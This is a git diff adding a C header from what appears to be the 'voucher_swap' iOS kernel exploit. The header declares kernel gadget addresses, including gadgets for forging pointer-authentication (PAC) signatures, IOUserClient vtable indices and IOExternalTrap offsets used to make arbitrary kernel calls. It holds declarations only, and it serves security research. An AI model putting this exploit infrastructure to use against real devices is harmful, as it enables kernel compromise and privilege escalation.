diff options
Diffstat (limited to 'kernel_call/kc_parameters.h')
| -rwxr-xr-x | kernel_call/kc_parameters.h | 92 |
1 files changed, 92 insertions, 0 deletions
diff --git a/kernel_call/kc_parameters.h b/kernel_call/kc_parameters.h new file mode 100755 index 0000000..ef717a0 --- /dev/null +++ b/kernel_call/kc_parameters.h @@ -0,0 +1,92 @@ +/* + * kernel_call/kc_parameters.h + * Brandon Azad + */ +#ifndef VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_ +#define VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_ + +#include <stdbool.h> +#include <stddef.h> +#include <stdint.h> + +#include "parameters.h" + +#ifdef KERNEL_CALL_PARAMETERS_EXTERN +#define extern KERNEL_CALL_PARAMETERS_EXTERN +#endif + +// A structure describing the PAC codes used as part of the context for signing and verifying +// virtual method pointers in a vtable. +struct vtable_pac_codes { + size_t count; + const uint16_t *codes; +}; + +// Generate the name for an offset in a virtual method table. +#define VTABLE_INDEX(class_, method_) _##class_##_##method_##__vtable_index_ + +// Generate the name for a list of vtable PAC codes. +#define VTABLE_PAC_CODES(class_) _##class_##__vtable_pac_codes_ + +// A helper macro for INIT_VTABLE_PAC_CODES(). +#define VTABLE_PAC_CODES_DATA(class_) _##class_##__vtable_pac_codes_data_ + +// Initialize a list of vtable PAC codes. In order to store the PAC code array in constant memory, +// we place it in a static variable. Consequently, this macro will produce name conflicts if used +// outside a function. +#define INIT_VTABLE_PAC_CODES(class_, ...) \ + static const uint16_t VTABLE_PAC_CODES_DATA(class_)[] = { __VA_ARGS__ }; \ + VTABLE_PAC_CODES(class_) = (struct vtable_pac_codes) { \ + .count = sizeof(VTABLE_PAC_CODES_DATA(class_)) / sizeof(uint16_t), \ + .codes = (const uint16_t *) VTABLE_PAC_CODES_DATA(class_), \ + } + +extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_start); +extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_stop); +extern uint64_t ADDRESS(l2tp_domain_inited); +extern uint64_t ADDRESS(sysctl__net_ppp_l2tp); +extern uint64_t ADDRESS(sysctl_unregister_oid); +extern uint64_t ADDRESS(mov_x0_x4__br_x5); +extern uint64_t ADDRESS(mov_x9_x0__br_x1); +extern uint64_t ADDRESS(mov_x10_x3__br_x6); +extern uint64_t ADDRESS(kernel_forge_pacia_gadget); +extern uint64_t ADDRESS(kernel_forge_pacda_gadget); +extern uint64_t ADDRESS(IOUserClient__vtable); +extern uint64_t ADDRESS(IORegistryEntry__getRegistryEntryID); + +extern size_t SIZE(kernel_forge_pacxa_gadget_buffer); +extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, first_access); +extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result); +extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result); + +extern struct vtable_pac_codes VTABLE_PAC_CODES(IOAudio2DeviceUserClient); +extern struct vtable_pac_codes VTABLE_PAC_CODES(IODTNVRAM); + +// Parameters for IOAudio2DeviceUserClient. +extern size_t OFFSET(IOAudio2DeviceUserClient, traps); + +// Parameters for IOExternalTrap. +extern size_t SIZE(IOExternalTrap); +extern size_t OFFSET(IOExternalTrap, object); +extern size_t OFFSET(IOExternalTrap, function); +extern size_t OFFSET(IOExternalTrap, offset); + +// Parameters for IORegistryEntry. +extern size_t OFFSET(IORegistryEntry, reserved); +extern size_t OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID); + +// Parameters for IOUserClient. +extern uint32_t VTABLE_INDEX(IOUserClient, getExternalTrapForIndex); +extern uint32_t VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex); + +/* + * kernel_call_parameters_init + * + * Description: + * Initialize the addresses used in the kernel_call subsystem. + */ +bool kernel_call_parameters_init(void); + +#undef extern + +#endif |